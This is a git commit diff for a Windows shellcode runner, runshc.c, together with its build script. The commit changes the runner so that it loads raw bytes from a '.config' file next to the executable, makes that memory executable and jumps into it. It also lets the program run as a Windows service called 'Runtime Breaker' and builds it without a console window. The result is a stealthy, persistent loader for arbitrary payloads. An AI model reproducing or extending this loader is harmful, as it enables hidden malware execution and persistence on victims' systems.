test
This commit is contained in:
parent
7547d2ba2b
commit
1e95453bab
|
@ -5,4 +5,4 @@ IF "%Platform%"=="x64" set PLAT="64"
|
|||
echo =================================================
|
||||
echo Building for Platform: %PLAT%
|
||||
|
||||
cl runshc.c /O2 /nologo /MD /link kernel32.lib user32.lib /MANIFEST:NO /ENTRY:"main" /out:runshc%PLAT%.exe
|
||||
cl runshc.c /O2 /nologo /MD /link kernel32.lib user32.lib advapi32.lib /MANIFEST:NO /ENTRY:"main" /SUBSYSTEM:WINDOWS /out:runshc%PLAT%.exe
|
114
example/runshc.c
114
example/runshc.c
|
@ -1,31 +1,93 @@
|
|||
#include "../crt.c"
|
||||
#include <windows.h>
|
||||
|
||||
#define SERVICE_NAME "Runtime Breaker"
|
||||
|
||||
SERVICE_STATUS ServiceStatus;
|
||||
SERVICE_STATUS_HANDLE hStatus;
|
||||
|
||||
void start()
|
||||
{
|
||||
HANDLE hFile;
|
||||
LPVOID lpAddress;
|
||||
DWORD dwSize = 0;
|
||||
DWORD temp = 0;
|
||||
char szPath[MAX_PATH];
|
||||
DWORD dwRet;
|
||||
char *p;
|
||||
|
||||
xmemset(szPath,0,MAX_PATH);
|
||||
|
||||
xstrcat(szPath,_argv[0]);
|
||||
xstrcat(szPath,".config");
|
||||
|
||||
hFile = CreateFileA(szPath, GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0, NULL);
|
||||
if (hFile == INVALID_HANDLE_VALUE) return;
|
||||
dwSize = GetFileSize(hFile, NULL);
|
||||
lpAddress = xmalloc(dwSize);
|
||||
if (lpAddress == NULL)
|
||||
{
|
||||
CloseHandle(hFile);
|
||||
return;
|
||||
}
|
||||
ReadFile(hFile, lpAddress, dwSize, &temp, 0);
|
||||
VirtualProtect(lpAddress, dwSize, 0x40, &temp);
|
||||
((void(*)())lpAddress)();
|
||||
}
|
||||
|
||||
void ControlHandler(DWORD request) {
|
||||
switch(request) {
|
||||
case SERVICE_CONTROL_STOP:
|
||||
ServiceStatus.dwWin32ExitCode = 0;
|
||||
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
|
||||
SetServiceStatus (hStatus, &ServiceStatus);
|
||||
return;
|
||||
|
||||
case SERVICE_CONTROL_SHUTDOWN:
|
||||
ServiceStatus.dwWin32ExitCode = 0;
|
||||
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
|
||||
SetServiceStatus (hStatus, &ServiceStatus);
|
||||
return;
|
||||
|
||||
default:
|
||||
break;
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
void ServiceMain(int argc, char* argv[]) {
|
||||
ServiceStatus.dwServiceType = SERVICE_WIN32;
|
||||
ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
|
||||
ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
|
||||
ServiceStatus.dwWin32ExitCode = 0;
|
||||
ServiceStatus.dwServiceSpecificExitCode = 0;
|
||||
ServiceStatus.dwCheckPoint = 0;
|
||||
ServiceStatus.dwWaitHint = 0;
|
||||
|
||||
hStatus = RegisterServiceCtrlHandler(SERVICE_NAME, (LPHANDLER_FUNCTION)ControlHandler);
|
||||
|
||||
if (hStatus == (SERVICE_STATUS_HANDLE)NULL)
|
||||
return;
|
||||
|
||||
start();
|
||||
//ExitProcess(0);
|
||||
}
|
||||
|
||||
int main()
|
||||
{
|
||||
int _argc = _init_args();
|
||||
HANDLE hFile;
|
||||
LPVOID lpAddress;
|
||||
DWORD dwSize = 0;
|
||||
DWORD temp = 0;
|
||||
|
||||
if (_argc < 2) {
|
||||
return -1;
|
||||
}
|
||||
hFile = CreateFileA(_argv[1], GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0, NULL);
|
||||
if (hFile == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
dwSize = GetFileSize(hFile, NULL);
|
||||
lpAddress = xmalloc(dwSize);
|
||||
if (lpAddress == NULL)
|
||||
{
|
||||
CloseHandle(hFile);
|
||||
return -1;
|
||||
}
|
||||
ReadFile(hFile, lpAddress, dwSize, &temp, 0);
|
||||
VirtualProtect(lpAddress, dwSize, 0x40, &temp);
|
||||
((void(*)())lpAddress)();
|
||||
_term_args();
|
||||
return 0;
|
||||
int _argc = _init_args();
|
||||
if (_argc == 2 && xstrcmp(_argv[1],"-service")==0) {
|
||||
SERVICE_TABLE_ENTRY ServiceTable[2] = { { NULL, NULL }, { NULL, NULL } };
|
||||
ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;
|
||||
ServiceTable[0].lpServiceName = SERVICE_NAME;
|
||||
StartServiceCtrlDispatcher(ServiceTable);
|
||||
return -1;
|
||||
}
|
||||
else
|
||||
{
|
||||
start();
|
||||
}
|
||||
_term_args();
|
||||
TerminateProcess(GetCurrentProcess(),0);
|
||||
return 0;
|
||||
}
|
Loading…
Reference in New Issue